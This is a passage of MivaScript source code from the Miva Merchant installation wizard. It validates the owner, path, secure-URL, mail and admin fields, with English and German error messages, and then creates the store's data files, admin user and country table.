			</MvLOCALIZED>

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_Owner, 'Install_Domain_State', l.field_error ) }">
		</MvIF>
	</MvIF>

	<MvDO FILE = "{ g.Setup_Filename_Admin }" NAME = "l.valid" VALUE = "{ Validate_Zip( g.Install_Domain_Zip, g.Install_Domain_Country ) }">
	<MvIF EXPR = "{ NOT l.valid }">
		<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00014">
			<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the Zip/Postal code of of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie die Postleitzahl des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
		</MvLOCALIZED>

		<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_Owner, 'Install_Domain_Zip', l.field_error ) }">
	</MvIF>

	<MvIF EXPR = "{ len( g.Install_Domain_Country ) EQ 0 }">
		<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00015">
			<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please select the country of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte w�hlen Sie das Land des Besitzers dieser Installation von Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
		</MvLOCALIZED>

		<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_Owner, 'Install_Domain_Country', l.field_error ) }">
	</MvIF>

	<MvASSIGN NAME = "g.Install_Domain_Use_State" VALUE = "{ g.Install_Domain_State }">
	<MvIF EXPR = "{ ( len( g.Install_Domain_Use_State ) EQ 0 ) AND ( g.Install_Domain_Country EQ 'US' ) }">
		<MvASSIGN NAME = "g.Install_Domain_Use_State" VALUE = "{ g.Install_Domain_StateSelect }">
	</MvIF>
	
	<MvIF EXPR = "{ ( len( g.Install_Domain_Use_State ) EQ 0 ) AND ( g.Install_Domain_Country EQ 'US' ) }">
		<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00016">
			<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the state/province of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie das Bundesland des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
		</MvLOCALIZED>

		<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_Owner, 'Install_Domain_State', l.field_error ) }">
	</MvIF>

	<MvDO FILE = "{ g.Setup_Filename_Admin }" NAME = "l.valid" VALUE = "{ Validate_Phone( g.Install_Domain_Phone, g.Install_Domain_Country ) }">
	<MvIF EXPR = "{ NOT l.valid }">
		<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00017">
			<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the phone number of the owner of this installation of Miva Merchant v%merc-vers%</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie die Telefonnummer des Besitzers dieser Installation von Miva Merchant v%merc-vers% ein</MvLOCALIZED-TEXT>
		</MvLOCALIZED>
	
		<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_Owner, 'Install_Domain_Phone', l.field_error ) }">
	</MvIF>

	<MvIF EXPR = "{ g.Install_URL_Merchant_Use_Detected EQ 'Yes' }">
		<MvASSIGN NAME = "g.URL_Merchant" VALUE = "{ g.Install_URL_Merchant_Detected }">
	<MvELSE>
		<MvIF EXPR = "{ len( g.Install_MivaMerchantURL ) EQ 0 }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00018">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the URL to Miva Merchant</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den URL von Miva Merchant ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_Paths, 'Install_MivaMerchantURL', l.field_error ) }">
		</MvIF>
		<MvASSIGN NAME = "g.URL_Merchant" VALUE = "{ g.Install_MivaMerchantURL }">
	</MvIF>

	<MvIF EXPR = "{ g.Install_Module_Root_Use_Detected EQ 'Yes' }">
		<MvASSIGN NAME = "g.Install_Domain_Module_Root" VALUE = "{ g.Install_Module_Root_Detected }">
	<MvELSE>
		<MvIF EXPR = "{ len( g.Install_Module_Root ) EQ 0 }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00019">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the root directory for modules</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie das Hauptverzeichnis f�r Module ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_Paths, 'Install_Module_Root', l.field_error ) }">
		<MvELSE>
			<MvIF EXPR = "{ ( '/' IN g.Install_Module_Root ) NE 1 }">
				<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00020">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US">The root directory for modules MUST be an absolute path.  (i.e. it MUST start with /)</MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bei dem Hauptverzeichnis f�r Module MUSS es sich um einen absoluten Pfad handeln. (d.h., es MUSS mit/beginnen)</MvLOCALIZED-TEXT>
				</MvLOCALIZED>

				<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_Paths, 'Install_Module_Root', l.field_error ) }">
			<MvELSE>
				<MvIF EXPR = "{ substring( g.Install_Module_Root, len( g.Install_Module_Root ), 1 ) NE '/' }">
					<MvASSIGN NAME = "g.Install_Module_Root" VALUE = "{ g.Install_Module_Root $ '/' }">
				</MvIF>

				<MvASSIGN NAME = "g.Install_Domain_Module_Root" VALUE = "{ g.Install_Module_Root }">
			</MvIF>
		</MvIF>
	</MvIF>
	
	<MvASSIGN NAME = "g.Module_Root" VALUE = "{ g.Install_Domain_Module_Root $ g.Version_Path }">
	

	<MvIF EXPR = "{ g.Install_URL_Base_Use_Detected EQ 'Yes' }">
		<MvASSIGN NAME = "g.URL_Base" VALUE = "{ g.Install_URL_Base_Detected }">
	<MvELSE>
		<MvIF EXPR = "{ len( g.Install_URL_Base ) EQ 0 }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00021">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the base URL for graphics</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den Basis-URL f�r Grafiken ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_Paths, 'Install_URL_Base', l.field_error ) }">
		</MvIF>

		<MvASSIGN NAME = "g.URL_Base" VALUE = "{ g.Install_URL_Base }">
	</MvIF>

	<MvIF EXPR = "{ g.Install_Image_Root_Use_Detected EQ 'Yes' }">
		<MvASSIGN NAME = "g.Image_Root" VALUE = "{ g.Install_Image_Root_Detected }">
	<MvELSE>
		<MvIF EXPR = "{ len( g.Install_ImageRoot ) EQ 0 }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00022">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the root directory for graphics</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie das Hauptverzeichnis f�r Grafiken ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_Paths, 'Install_ImageRoot', l.field_error ) }">
		<MvELSE>
			<MvIF EXPR = "{ ( '/' IN g.Install_ImageRoot ) NE 1 }">
				<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00023">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US">The root directory for graphics MUST be an absolute path. (i.e. it MUST start with /)</MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bei dem Hauptverzeichnis f�r Grafiken MUSS es sich um einen absoluten Pfad handeln. (d.h., es MUSS mit/beginnen)</MvLOCALIZED-TEXT>
				</MvLOCALIZED>

				<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_Paths, 'Install_ImageRoot', l.field_error ) }">
			<MvELSE>
				<MvIF EXPR = "{ substring( g.Install_ImageRoot, len( g.Install_ImageRoot ), 1 ) NE '/' }">
					<MvASSIGN NAME = "g.Install_ImageRoot" VALUE = "{ g.Install_ImageRoot $ '/' }">
				</MvIF>

				<MvASSIGN NAME = "g.Image_Root" VALUE = "{ g.Install_ImageRoot }">
			</MvIF>
		</MvIF>
	</MvIF>

	<MvIF EXPR = "{ g.Install_URL_Merchant_Secure_Use_Detected EQ 'None' }">
		<MvASSIGN NAME = "g.URL_Merchant_Secure" VALUE = "">
	<MvELSE>
		<MvIF EXPR = "{ g.Install_URL_Merchant_Secure_Use_Detected EQ 'Detected' }">
			<MvASSIGN NAME = "g.URL_Merchant_Secure" VALUE = "{ g.Install_URL_Merchant_Secure_Detected }">
		<MvELSE>
			<MvIF EXPR = "{ len( g.Install_MivaMerchantSecureURL ) EQ 0 }">
				<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00024">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the secure URL to Miva Merchant</MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den sicheren URL von Miva Merchant ein</MvLOCALIZED-TEXT>
				</MvLOCALIZED>

				<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_SecurePaths, 'Install_MivaMerchantSecureURL', l.field_error ) }">
			</MvIF>

			<MvASSIGN NAME = "g.URL_Merchant_Secure" VALUE = "{ g.Install_MivaMerchantSecureURL }">
		</MvIF>
	</MvIF>

	<MvIF EXPR = "{ g.Install_URL_Admin_Secure_Use_Detected EQ 'None' }">
		<MvASSIGN NAME = "g.URL_Admin_Secure" VALUE = "">
	<MvELSE>
		<MvIF EXPR = "{ g.Install_URL_Admin_Secure_Use_Detected EQ 'Detected' }">
			<MvASSIGN NAME = "g.URL_Admin_Secure" VALUE = "{ g.Install_URL_Admin_Secure_Detected }">
		<MvELSE>
			<MvIF EXPR = "{ len( g.Install_URL_Admin_Secure ) EQ 0 }">
				<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00025">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the secure URL to Miva Merchant Administration</MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den gesicherten URL der Miva Merchant Administration ein</MvLOCALIZED-TEXT>
				</MvLOCALIZED>
			
				<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_SecurePaths, 'Install_URL_Admin_Secure', l.field_error ) }">
			</MvIF>

			<MvASSIGN NAME = "g.URL_Admin_Secure" VALUE = "{ g.Install_URL_Admin_Secure }">
		</MvIF>
	</MvIF>

	<MvIF EXPR = "{ g.Install_Module_Root_Secure_Use_Detected EQ 'None' }">
		<MvASSIGN NAME = "g.Install_Domain_Module_Root_Secure" VALUE = "">
	<MvELSE>
		<MvIF EXPR = "{ g.Install_Module_Root_Secure_Use_Detected EQ 'Detected' }">
			<MvASSIGN NAME = "g.Install_Domain_Module_Root_Secure" VALUE = "{ g.Install_Module_Root_Secure_Detected }">
		<MvELSE>
			<MvIF EXPR = "{ len( g.Install_Module_Root_Secure ) EQ 0 }">
				<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00026">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the secure root directory for modules</MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie das gesicherte Hauptverzeichnis f�r Module ein</MvLOCALIZED-TEXT>
				</MvLOCALIZED>
			
				<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_SecurePaths, 'Install_Module_Root_Secure', l.field_error ) }">
			<MvELSE>
				<MvIF EXPR = "{ ( '/' IN g.Install_Module_Root_Secure ) NE 1 }">
					<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00027">
						<MvLOCALIZED-TEXT LANGUAGE = "en-US">The secure root directory for modules MUST be an absolute path. (i.e. it MUST start with /)</MvLOCALIZED-TEXT>
						<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bei dem gesicherten Hauptverzeichnis f�r Module MUSS es sich um einen absoluten Pfad handeln.  (d.h., es MUSS mit / beginnen).</MvLOCALIZED-TEXT>
					</MvLOCALIZED>

					<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_SecurePaths, 'Install_Module_Root_Secure', l.field_error ) }">
				<MvELSE>
					<MvIF EXPR = "{ substring( g.Install_Module_Root_Secure, len( g.Install_Module_Root_Secure ), 1 ) NE '/' }">
						<MvASSIGN NAME = "g.Install_Module_Root_Secure" VALUE = "{ g.Install_Module_Root_Secure $ '/' }">
					</MvIF>

					<MvASSIGN NAME = "g.Install_Domain_Module_Root_Secure" VALUE = "{ g.Install_Module_Root_Secure }">
				</MvIF>
			</MvIF>
		</MvIF>
	</MvIF>
	
	<MvASSIGN NAME = "g.Module_Root_Secure" VALUE = "{ g.Install_Domain_Module_Root_Secure $ g.Version_Path }">


	<MvIF EXPR = "{ g.Install_URL_Base_Secure_Use_Detected EQ 'None' }">
		<MvASSIGN NAME = "g.URL_Base_Secure" VALUE = "">
	<MvELSE>
		<MvIF EXPR = "{ g.Install_URL_Base_Secure_Use_Detected EQ 'Detected' }">
			<MvASSIGN NAME = "g.URL_Base_Secure" VALUE = "{ g.Install_URL_Base_Secure_Detected }">
		<MvELSE>
			<MvIF EXPR = "{ len( g.Install_URL_Base_Secure ) EQ 0 }">
				<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00028">
					<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the secure base URL for graphics</MvLOCALIZED-TEXT>
					<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den gesicherten Basis-URL f�r Grafiken ein</MvLOCALIZED-TEXT>
				</MvLOCALIZED>

				<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_SecurePaths, 'Install_URL_Base_Secure', l.field_error ) }">
			</MvIF>

			<MvASSIGN NAME = "g.URL_Base_Secure" VALUE = "{ g.Install_URL_Base_Secure }">
		</MvIF>
	</MvIF>

	<MvIF EXPR = "{ ( len( g.URL_Merchant_Secure ) OR len( g.URL_Admin_Secure ) ) AND len( g.Install_Domain_Module_Root_Secure ) EQ 0 }">
		<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00029">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please specify the secure root directory for modules</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte spezifizieren Sie das gesicherte Hauptverzeichnis f�r Module</MvLOCALIZED-TEXT>
		</MvLOCALIZED>

		<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_SecurePaths, 'Install_Module_Root_Secure', l.field_error ) }">
	</MvIF>

	<MvIF EXPR = "{ ( len( g.URL_Merchant_Secure ) OR len( g.URL_Admin_Secure ) ) AND len( g.URL_Base_Secure ) EQ 0 }">
		<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00030">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the secure base URL for graphics</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den gesicherten Basis-URL f�r Grafiken ein</MvLOCALIZED-TEXT>
		</MvLOCALIZED>

		<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_SecurePaths, 'Install_URL_Base_Secure', l.field_error ) }">
	</MvIF>

	<MvIF EXPR = "{ len( g.Install_MailHost ) EQ 0 }">
		<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00031">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter the name of your mail server</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie den Namen Ihres Mail-Servers ein</MvLOCALIZED-TEXT>
		</MvLOCALIZED>

		<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_MailServer, 'Install_MailHost', l.field_error ) }">
	</MvIF>

	<MvIF EXPR = "{ len( g.Install_User_Name ) EQ 0 }">
		<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00032">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter a name for the default administrative user</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie einen Namen f�r den administrativen Standardbenutzer ein</MvLOCALIZED-TEXT>
		</MvLOCALIZED>

		<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_Administrator, 'Install_User_Name', l.field_error ) }">
	</MvIF>

	<MvIF EXPR = "{ len( g.Install_User_Password ) EQ 0 }">
		<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00033">
			<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter a password</MvLOCALIZED-TEXT>
			<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie ein Passwort ein</MvLOCALIZED-TEXT>
		</MvLOCALIZED>

		<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_Administrator, 'Install_User_Password', l.field_error ) }">
	<MvELSE>
		<MvIF EXPR = "{ g.Install_User_Password NE g.Install_User_VerifyPassword }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00034">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Passwords do not match</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Die Passworte stimmen nicht �berein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( g.Setup_Wizard_Step_Administrator, 'Install_User_VerifyPassword', l.field_error ) }">
		</MvIF>
	</MvIF>

	<MvFUNCTIONRETURN VALUE = "{ l.valid }">
</MvFUNCTION>


<MvFUNCTION NAME = "Action_Setup" STANDARDOUTPUTLEVEL = "">
	<MvASSIGN NAME = "l.ok" VALUE = "1">
	<MvASSIGN NAME = "l.ok" VALUE = "{ Setup_Validate() }">
	<MvIF EXPR = "{ l.ok }">
		<MvASSIGN NAME = "g.Module_Root" VALUE = "{ g.Install_Domain_Module_Root $ g.Version_Path }">
		<MvASSIGN NAME = "g.Module_Root_Versionless" VALUE = "{ g.Install_Domain_Module_Root }">
		<MvDO FILE = "{ g.Setup_Library_Utilities }" NAME = "l.ok" VALUE = "{ SetPaths() }">
		
		<MvDO FILE = "{ g.Setup_Library_DB }" NAME = "l.ok" VALUE = "{ CreateDataFiles() }">

		<MvIF EXPR = "{ l.ok }">
				<MvDO FILE = "{ g.Setup_Library_DB }" NAME = "l.ok" VALUE = "{ Domain_Update(	g.Install_Domain_Name,
																						g.Install_Domain_License,
																						g.Merchant_Version,
																						g.Install_Domain_Owner,
																						g.Install_Domain_Email,
																						g.Install_Domain_Company,
																						g.Install_Domain_Address,
																						g.Install_Domain_City,
																						g.Install_Domain_Use_State,
																						g.Install_Domain_Zip,
																						g.Install_Domain_Country,
																						g.Install_Domain_Phone,
																						g.Install_Domain_Fax,
																						g.URL_Merchant,
																						g.URL_Merchant_Secure,
																						g.URL_Admin_Secure,
																						g.Image_Root,
																						g.URL_Base,
																						g.URL_Base_Secure,
																						g.Install_Domain_Module_Root,
																						g.Install_Domain_Module_Root_Secure,
																						'60',
																						g.Install_MailHost,
																						g.Install_Mail_AddAngleBrackets,
																						0, 
																						'15',
																						'3') }">
		</MvIF>
		
		<MvIF EXPR = "{ l.ok }">
			<MvASSIGN NAME = "l.mmui_id" VALUE = "{ RegisterModules() }">
			<MvIF EXPR = "{ l.mmui_id EQ 0 }">
				<MvASSIGN NAME = "l.ok" VALUE = 0>
			<MvELSE>
				<MvDO FILE = "{ g.Setup_Library_DB }" NAME = "l.ok" VALUE = "{ Domain_Update( Domain.d.name,
																						Domain.d.license,
																						Domain.d.version,
																						Domain.d.owner,
																						Domain.d.email,
																						Domain.d.company,
																						Domain.d.address,
																						Domain.d.city,
																						Domain.d.state,
																						Domain.d.zip,
																						Domain.d.country,
																						Domain.d.phone,
																						Domain.d.fax,
																						Domain.d.mm_url,
																						Domain.d.mm_surl,
																						Domain.d.admin_surl,
																						Domain.d.image_root,
																						Domain.d.base_url,
																						Domain.d.base_surl,
																						Domain.d.mod_root,
																						Domain.d.mod_sroot,
																						Domain.d.admexp,
																						Domain.d.mailhost,
																						Domain.d.mail_angl,
																						l.mmui_id,
																						Domain.d.lo_time,
																						Domain.d.li_trys ) }">

				<MvASSIGN NAME = "l.domain_steps" VALUE = "{ CreateTasks() }">
			</MvIF>
		</MvIF>

		<MvIF EXPR = "{ l.ok }">
			<MvDO FILE = "{ g.Setup_Library_DB }" NAME = "l.ok" VALUE = "{ User_Insert( 0, 10, g.Install_User_Name, g.Install_User_Password, 1, 1, 1, 0, 0, 0 ) }">
		</MvIF>

		<MvIF EXPR = "{ l.ok }">
			<MvEVAL EXPR = "{ InitializeCountryArray() }">

			<MvASSIGN NAME = "l.country" VALUE = 1>
			<MvWHILE EXPR = "{ l.ok AND ( l.country LT g.Country_Count ) }">
				<MvDO FILE = "{ g.Setup_Library_DB }" NAME = "l.ok" VALUE = "{ Country_Insert( l.country, g.Country[ l.country ], g.Country_Alpha[ l.country ], g.Country_Numeric[ l.country ] ) }">
				<MvASSIGN NAME = "l.country" VALUE = "{ l.country + 1 }">
			</MvWHILE>
		</MvIF>

		<MvIF EXPR = "{ l.ok }">
			<MvEXPORT FILE = "{ g.MerchantPath $ '/install.log' }"
					  FIELDS = "s.dyn_time_t, g.Install_Domain_Name, g.Install_Domain_License"
					  DELIMITER = "|">
		</MvIF>

		<MvASSIGN NAME = "l.langfile" VALUE = "{ g.MerchantPath $ 'language.dat' }">
		<MvIF EXPR = "{ fexists( l.langfile ) }">
			<MvASSIGN NAME = "l.deleted" VALUE = "{ fdelete( g.MerchantPath $ 'language.dat' ) }">	
			<MvEXPORT FILE = "{ g.MerchantPath $ 'language.dat' }" FIELDS = "g.Install_LanguageCode" DELIMITER = "">
		
			<MvIF EXPR = "{ MvEXPORT_Error }">
				<MvDO FILE = "{ g.Module_Library_Utilities }" NAME = "l.ok" VALUE = "{ Error( 'MER-SET-00002', MvEXPORT_Error ) }">
			</MvIF>

			<MIVA MvEXPORT_Error = "fatal, display">
		<MvELSE>
			<MvEXPORT FILE = "{ g.MerchantPath $ 'language.dat' }" FIELDS = "g.Install_LanguageCode" DELIMITER = "">
		</MvIF>
		
		<MvASSIGN NAME = "l.foo" VALUE = "{ fdelete( 'LANGUAGE.lst' ) }">
		
		<MvASSIGN NAME = "l.null" VALUE = "{ scopy( g.Version_Path $ 'remove.mv-stub', 'remove.mv' ) }">
		<MvASSIGN NAME = "l.null" VALUE = "{ scopy( g.Version_Path $ 'paylinkp.mv-stub', 'paylinkp.mv' ) }">
		<MvASSIGN NAME = "l.null" VALUE = "{ scopy( g.Version_Path $ 'paylinki.mv-stub', 'paylinki.mv' ) }">
		<MvASSIGN NAME = "l.null" VALUE = "{ scopy( g.Version_Path $ 'merchant.mv-stub', 'merchant.mv' ) }">
		<MvASSIGN NAME = "l.null" VALUE = "{ scopy( g.Version_Path $ 'anacomp.mv-stub', 'anacomp.mv' ) }">
		<MvASSIGN NAME = "l.null" VALUE = "{ scopy( g.Version_Path $ 'admin.mv-stub', 'admin.mv' ) }">
		
		<MvIF EXPR = "{ fexists( 'site.dat' ) }">
			<MvASSIGN NAME = "l.null" VALUE = "{ fdelete( 'site.dat' ) }">
		</MvIF>


		<MvIF EXPR = "{ l.ok }">
			<MvASSIGN NAME = "g.Screen" VALUE = "DONE">
		</MvIF>
	</MvIF>
	
	<MvFUNCTIONRETURN VALUE = "{ l.ok }">
</MvFUNCTION>

<MvFUNCTION NAME = "Setup_Validate_Step" PARAMETERS = "step" STANDARDOUTPUTLEVEL = "text, html, compresswhitespace">
	<MvASSIGN NAME = "l.valid" VALUE = "1">

	<MvASSIGN NAME = "g.Install_Domain_License" VALUE = "{ ltrim( rtrim( g.Install_Domain_License ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Name" VALUE = "{ ltrim( rtrim( g.Install_Domain_Name ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Owner" VALUE = "{ ltrim( rtrim( g.Install_Domain_Owner ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Email" VALUE = "{ ltrim( rtrim( g.Install_Domain_Email ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Company" VALUE = "{ ltrim( rtrim( g.Install_Domain_Company ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Address" VALUE = "{ ltrim( rtrim( g.Install_Domain_Address ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_City" VALUE = "{ ltrim( rtrim( g.Install_Domain_City ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_State" VALUE = "{ ltrim( rtrim( g.Install_Domain_State ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Zip" VALUE = "{ ltrim( rtrim( g.Install_Domain_Zip ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Country" VALUE = "{ ltrim( rtrim( g.Install_Domain_Country ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Phone" VALUE = "{ ltrim( rtrim( g.Install_Domain_Phone ) ) }">
	<MvASSIGN NAME = "g.Install_Domain_Fax" VALUE = "{ ltrim( rtrim( g.Install_Domain_Fax ) ) }">
	<MvASSIGN NAME = "g.Install_MivaMerchantURL" VALUE = "{ ltrim( rtrim( g.Install_MivaMerchantURL ) ) }">
	<MvASSIGN NAME = "g.Install_MivaMerchantSecureURL" VALUE = "{ ltrim( rtrim( g.Install_MivaMerchantSecureURL ) ) }">
	<MvASSIGN NAME = "g.Install_URL_Base" VALUE = "{ ltrim( rtrim( g.Install_URL_Base ) ) }">
	<MvASSIGN NAME = "g.Install_ImageRoot" VALUE = "{ ltrim( rtrim( g.Install_ImageRoot ) ) }">
	<MvASSIGN NAME = "g.Install_URL_Base_Secure" VALUE = "{ ltrim( rtrim( g.Install_URL_Base_Secure ) ) }">
	<MvASSIGN NAME = "g.Install_Module_Root" VALUE = "{ ltrim( rtrim( g.Install_Module_Root ) ) }">
	<MvASSIGN NAME = "g.Install_Module_Root_Secure" VALUE = "{ ltrim( rtrim( g.Install_Module_Root_Secure ) ) }">
	<MvASSIGN NAME = "g.Install_MailHost" VALUE = "{ ltrim( rtrim( g.Install_MailHost ) ) }">
	<MvASSIGN NAME = "g.Install_Mail_AddAngleBrackets" VALUE = "{ ltrim( rtrim( g.Install_Mail_AddAngleBrackets ) ) }">

	<MvIF EXPR = "{ l.step EQ g.Setup_Wizard_Step_EULA }">
		<MvIF EXPR = "{ NOT g.Install_Accept_EULA }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00035">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">You must accept the terms of the license agreement to use Miva Merchant</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Sie m�ssen die Bedingungen der Lizenzvereinbarung annehmen, um Miva Merchant benutzen zu k�nnen.</MvLOCALIZED-TEXT>
			</MvLOCALIZED>

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_Accept_EULA', l.field_error ) }">
		</MvIF>
	</MvIF>
	
	<MvIF EXPR = "{ l.step EQ g.Setup_Wizard_Step_License }">
		<MvIF EXPR = "{ len( g.Install_Domain_License ) EQ 0 }">
			<MvLOCALIZED NAME = "l.field_error" ID = "MER-SET-00036">
				<MvLOCALIZED-TOKEN NAME = "merc-vers" VALUE = "{ g.Merchant_Version }">
				<MvLOCALIZED-TEXT LANGUAGE = "en-US">Please enter a valid Miva Merchant v%merc-vers% license number</MvLOCALIZED-TEXT>
				<MvLOCALIZED-TEXT LANGUAGE = "de-DE">Bitte geben Sie eine g�ltige Miva Merchant v%merc-vers% Lizenznummer ein</MvLOCALIZED-TEXT>
			</MvLOCALIZED>

			<MvFUNCTIONRETURN VALUE = "{ Setup_FieldError( l.step, 'Install_Domain_License', l.field_error ) }">
		<MvELSE>
			<MvASSIGN NAME = "API" VALUE = "{ s.apitype }">
			<MvASSIGN NAME = "MERCHANT_HOST" VALUE = "{ s.server_name }">
